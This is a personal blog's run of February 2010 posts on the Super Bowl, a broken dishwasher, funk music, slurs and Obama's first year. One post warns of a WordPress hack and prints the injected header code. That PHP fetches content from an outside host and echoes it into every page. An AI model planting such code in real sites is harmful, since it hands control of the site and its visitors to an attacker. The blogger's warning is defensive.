And still the world is smoother, than a shiny ball-bearing
1 Comment Published February 8th, 2010 in Movies, Plugs, Video of the Day, You are listening too.Plugs
A Valentine’s Wish from Fetus-X.
You are listening too . . .
Everest from that lovely girl Ani DiFranco.
Have you seen the Iron Man 2 trailer?
WOW! I think I need to change my pants! War Machine! Whiplash! Black Widow!
Malach’s Video of the Day
I am Malach and Tiger made Phil Mickelson the most marketable name in golf this year.
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Congrats to the Saints
For winning this years Super Bowl! Also for earning me $125 for picking the right squares on my $5 board for the score at the end of the game. That will help with replacing the dishwasher!
Can we please now put to rest that Payton Manning it the greatest QB of all time. He is back to making mistakes in the big games, and still 2 SB Trophies behind Tom Brady.
I know I picked the Colts in a blow out, but I am so much happier. This is great for the city of New Orleans, much like in ‘01 when the Patriots won after 9/11.
The commercials sucked, the halftime show was only so – so.
Malach’s Video of the Day
I am Malach and that’s more like it Rahm
Damn do I love my new Wordpress blog!
3 Comments Published February 6th, 2010 in Malach's Life, NFL, No Plugs, Video of the Day.That’s right Wordpress 2.9 is finally installed and ever better, it I can automatically update it even though I use FTP installation! I love the Admin screens too, gonna play around with it see what it does.
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RIP Dishwasher
So the the repair man came in today, and he tried a bunch of things. The washers motor is still working, the pump is not. Unfortunately the pump and motor are one piece, so we are looking at taking apart the Dishwasher and a $200 bill to fix it. So, looks like were are getting a new dishwasher. George’s Appliance was awesome like always. He was here for 2 hours and only charged me $40.
Of course he used my shop vac to suck up all the water as he was experimenting. So I went to bring it down to my cellar to dump it into my slop sink, a good 6 gallons or so. Of course the top of the shop vac came off and the bucket rolled down my cellar stairs. What a mess.
Predictions for tomorrow’s big game
OK, Malach wants New Orleans to win. Mainly cause I hate the Colts, but also for the whole New Orleans revival thing. Unfortunately I think the Saint’s are going to get killed.
Colts – 42
Saints – 24
Malach’s Video of the Day
I am Malach and I make holes in teeth
Lord it’s a real mother for ya!
7 Comments Published February 5th, 2010 in Disability Issues, Gay Rights, No Plugs, Race Relations, Video of the Day, You are listening too.No Plugs
First and Foremost
If you have been having trouble with my blog, or you own wordpress blog, where it resets to a Russian payment site, there is a hack script going around that place a command in your header, that does this. Very easy to fix, delete the command and update to the latest version of Wordpress (which I am in the process of doing). There will be a very long script code somewhere in you header that looks kind of like this:
<script>location=”<?php function getu($u, $p = array ()) { $c = @curl_init();if ($p) { @curl_setopt($c, CURLOPT_POST, 1); @curl_setopt($c, CURLOPT_POSTFIELDS, $p); } @curl_setopt($c, CURLOPT_URL, $u); @curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($c, CURLOPT_TIMEOUT, 30); $h = @curl_exec($c); @curl_close($c); return $h; } $code = getu(“http://feed-statistics.com/domain.php?q=b8add2a5d9″); $code = str_replace(“<domain>”, “”, $code); $code = str_replace(“</domain>”, “”, $code); echo $code; ?>?pid=317&sid=84dd6f”;</script><!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
And then update to the latest Wordpress. I haven’t updated in a year or so.
You are listening too . .
A request, A Real Mother For Ya from the Johnny Guitar Watson.
Words.
Ok, something has inspired today to write a little about the words we use. I am going to actually use words I never use, or write for the point of this article. I am a big proponent of free speech and think you should be allowed to say anything you want, whenever you want. But I also think that if you are going to do that, you need to be prepared for what you say, and take responsibility for what you say. I also understand this has become a ultra PC world, so just about anything you say can insult someone in someway.
I want to talk specifically about the words retard, nigger, and fag and all it derivatives. I assure you it pains me to type those three words.
This is partly in response to the recent Sarah Palin thing about the word “retard”. For once, I partially agree with Sarah, and glad she went after both sides of the aisle. The word “retard” and “retarded”. Those two words are so loosely thrown around today. When you use the word in this way: ”You retard! That’s retarded!” You are applying a meaning to that word. That meaning Stupid, Ignorant, Unimportant, and Second Class. There is an actual medical definition called “mentally retardation“. Working with persons with disabilities, especially thousands of people with mental retardation I can assure you of this. None of those people are stupid, idiotic, unimportant, or second class. So when you call something “retarded” or someone a “retard” and connetating those words with stupidity, you are basically calling a whole class of people stupid who have mental retardation. This has become a more recent phenomenon in the PC world, but I see it constantly with co-workers, friend, etc. It has gotten so bad, that people no longer call people with mental retardation, “mentally retarded”. They say they are Developmentally Delayed or MR. It has even gotten to the point that the State’s Department of Mental Retardation changed it name this summer to the Department of Developmental Services as the “r-word” has gotten such a bad rep among the community.
So, to compare to the word “nigger”. That word has always been used to calls something or someone Stupid, Ignorant, Unimportant, or Second Class. Years ago calling anyone a “nigger” or calling someone “niggerish” was exactly the same as “retard” or “retarded”. The world was used for years as a way for one class of people to put down a whole race of other people. I can’t imagine anyone calling any of their friends of color “nigger”, and I would expect you would get assaulted or worse if you just loosely started using that word. Yes, I understand that some black people use it with other black people, but again, I know a lot of my black friends who will use it to call other black stupid.
And the same thing has happened to “Fag” and “Faggot”. Those two words have come to mean Stupid, Ignorant, Unimportant, and Second Class. So now we are associating a slang word for a gay male, with Stupid, Ignorant, Unimportant, and Second Class.
So let me get off my high horse then . . I have a bad taste in my mouth anyway. My point is people in power should be more consciencious of what they are saying, I don’t think either of those guys would use the n-word.
I really, really, really hope . .
M. Night Shyamalan doesn’t ruin this movie . .
If you have never seen the cartoon Avatar: The Last Airbender, you need to go out tonight and rent the three season of this show, absolutely amazing.
Malach’s Sheik Yerbouti Video of the Day
I am Malach and that’s right, it’s what you need.
I’m so glad that your mine o, mine o, mine o, mine.
6 Comments Published February 4th, 2010 in Malach's Life, No Plugs, Video of the Day.No Plugs
AUGH!
So guess what Malach did today, that he has not done on over a decade . . Wash dishes by hand. The Dishwasher broke down, it is not draining. I pull it apart and it is not a clogged hose, I think, I hope it is not the motor. The Dishwasher doesn’t look too old, but it came with the house, so it could be anywhere from 5 – 15 years old. I am going get George’s Appliance in here tomorrow. George rocks. Very fair and he won’t fix it if it is too expensive. I hoping it is not a motor, which is a $150 – $200, for a little more I can get a new dishwasher (esp since Home Depot is having a big sale and the promised me they could install by Saturday). And honestly I wouldn’t really mind get a new one that is Energy Star rated. And I WILL get a new one. After owing my first one, I WILL NEVER GO WITHOUT ON AGAIN!
Actually I cheated a bit doing the dishes. Since we don’t have the set for hand dishes, you gotta wash and dry at the same time. So, I only did the easy to wash stuff . . plates, pots, and silverware. Bowls and cup I am hoping to have the Dishwasher working tomorrow.
Oh yeah, and siphon the gross water at the bottom . .not fun.
Kind of sad really, I have always said I would build a house around a dishwasher.
Malach’s Video of the Day
I am Malach and wow
You sure know how to be a woman, and you know how to let a man be a man!
5 Comments Published February 3rd, 2010 in Barack Obama, No Plugs, Video of the Day, You are listening too.No Plugs
You are listening too . . .
OK, finally got the music player working again and am going back to ‘77 for a song I wanted to play. AWESOME NASTY FUNK! Raunchy guitar! Lover Jones. LOVE THIS SONG!
Hey Barack
Here is another reason I gave you a C. No one really wants to hear this except you yes men. Do like past presidents . . dig up dirt, and blackmail them in secret.
Malach’s Video of the Day
I am Malach and I live in a wild unruly hinterland
Ring it, Ring it, Ring that telephone.
4 Comments Published February 2nd, 2010 in Fetus - X, Gay Rights, Malach Rocks, Malach's Life, Video of the Day, You are listening too.Before we begin, since I am having problems with the music player, I am posting this, so you have my next song
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There is a new Fetus-X.
You are listening too . . .
Telephone Bill off of the 1980 album Love Jones. The past couple albums before this, Watson got into some Disco, Funk, like combining Parliament with big disco like the Gap Band like so:
This is 1977, as you see this lead into Love Jones, which is all out funk album, featuring the song Telephone Bill. Now Telephone Bill is pretty interesting. Johnny was always one to be a little ahead of the curve with music, and he puts out tis seminal rap/hip hop song. Love this song.
Interesting . . .
Now I might really consider going to school for this . . Disability Law anyone?
Hey Top Military Brass!
You’ve seen the Navy haven’t you? I mean there’s even a song about it.
Malach’s Video of the Day
I am Malach and a cruise would be nice
Before there was you, I was drifting off in space
6 Comments Published February 1st, 2010 in No Plugs, Technology, Video of the Day, You are listening too.No Plugs
You are listening too . . .
I Wanna Thank You, a love song from Johnny Guitar Watson. And something from, early to mid 60’s, Ain’t Gonna Move.
Move over James Brown and Sly Stone!
The worst part about this?
The used ones that will invariably show up on Ebay Auctions . . then these robot might want to organize a union.
Malach’s Video of the Day
I am Malach and I can’t wait to show my daughter this one
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Some more older stuff from Johnny Guitar Watson
She Moves Me from the early 60’s.
The Obama Report Card
So before I begin this I need to tell you I lean left on most things. So, that mean I lean towards Democrats, and support many of the over riding themes of Democrats. I am not a member of the Party, and have at times voted for non-Democrats. I did vote for Obama.
So with that being said, I am going to give a report card on Obama first year as President, even though it will seem biased by many.
First and foremost, and this will seem like a excuse to some, it is very difficult to grade a President after a couple years never mind one. Most Presidents are trying to clean up after the previous, and no two ways about it, Obama inherited a mess of a country: The Economy, two Wars and the things associated with them, a dissassocation with the previous administration and the people of this country, and step back of about 10 years on environmental issues, and a wrecked dimplomatic relations. To prove a point about the first couple years, many Americans would of rated Dubya one of the best presidents ever.
So with all that, I am going to get right to the point and give Obama his grade.
C
So, what is the basis of my C? There has been good and bad. While this country is slowing pulling itself out of the economic mess it is in, I am very mixed about some of the things that the Obama administation has done to address it. First and foremost is the bank baillout. I thought it was a stupid idea from the get go. Not only did it not solve one of the main issues with the economy, the banks, it basically just rewarded them. The American People should of been bailed out, not the banks.
The Wars. They have basically remained status quo, though I do feel the the US is taking better control of how it soldiers are acting, and the rights of those whose countries we have taken over. The problem now is what is the next step. Obviously we could leave but that might be worse than staying right now.
Health Care. This is where Obama has screwed up the most. Instead of pushing healthcare through (I will give Dubya credit, he would push stuff through) they decided to open it up for debate and bi-partisanship. What a fiasco. The bill that is there now is garbage, even if it get passed.
Where Obama has gotten A’s is in his willingness to work with other coutries, and address world problems with allies as opposed to “cowboy”. Obama also will probably do a ton for gay rights, more racial equality, immigrants, and women than the past 20 years has done.
He also gets high marks for the coolest First Lady since Jackie O.
That’s right, I’m going there
Now that some good shit.
Malach’s video of the Day
I am Malach and I am sorry TMBG, I am cutting down that conifer in front of my house this summer
She doesn’t know but I think she’s causing, got running round wanna holla’ like Tarzan
6 Comments Published January 30th, 2010 in Barack Obama, Gay Rights, No Plugs, Television, Video of the Day, You are listening too.No Plugs
You are listening too . . .
Tarzan from Johnny Guitar Watson’s 1976 album A Real Mother For Ya. And we also got today Those Lonely Lonely Nights from 20 years earlier, 1956.
Here we go . . .
So CBS is willing to broadcast and Anti-Abortion ad for the Super Bowl, but not a Dating Site for Gays? Well, there goes half your audience.
I know I promised . .
The first year Obama report card. Tomorrow, I swear!
Malach’s Video of the Day
I am Malach and my life is a musical too
